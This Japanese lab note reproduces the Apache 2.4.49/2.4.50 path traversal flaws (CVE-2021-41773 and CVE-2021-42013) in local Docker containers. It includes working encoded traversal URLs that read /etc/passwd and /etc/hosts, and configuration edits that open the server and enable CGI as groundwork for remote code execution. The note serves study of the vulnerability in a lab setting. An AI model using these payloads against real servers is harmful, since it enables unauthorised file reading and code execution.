httpd.confをローカルにコピー
$ docker pull httpd:2.4.49
$ docker run -v $(pwd):/tmp --name cve -it --entrypoint sh httpd:2.4.49
# cp conf/httpd.conf /tmp/
httpd.conf ファイルの編集
<Directory />
AllowOverride none
Require all denied
</Directory>
を
<Directory />
AllowOverride none
Require all granted
</Directory>
に修正
Dockerfileを作る
FROM httpd:2.4.49
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
ビルドと起動 (ポート18882で待ち受けてるけどどこでもいい)
$ docker build -t apache-vuln .
$ docker run -dit --name cve-2021-41773 -p 18882:80 apache-vuln
burpで実行
http://localhost:18882/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
バージョンアップされた2.4.50 で試す
- Dockerfileを更新
- httpd.confは流用
FROM httpd:2.4.50
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
ビルドと起動 (ポート18883で待ち受けてるけどどこでもいい)
$ docker build -t apache-2450 .
$ docker run -dit --name CVE-2021-42013 -p 18883:80 apache-2450
burpで実行
修正されてる
別のペイロードを送る (CVE-2021-41773)
http://localhost:18883/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/hosts
RCEを試す
- httpd.conf ファイルの編集
<IfModule !mpm_prefork_module>
LoadModule cgid_module modules/mod_cgid.so
</IfModule>
<IfModule mpm_prefork_module>
LoadModule cgi_module modules/mod_cgi.so
</IfModule>
に修正
- Dockerfileはそのまま
ビルドと起動 (ポート18884で待ち受けてるけどどこでもいい)
$ docker build -t apache-2450-2 .
$ docker run -dit --name CVE-2021-42013-RCE -p 18884:80 apache-2450-2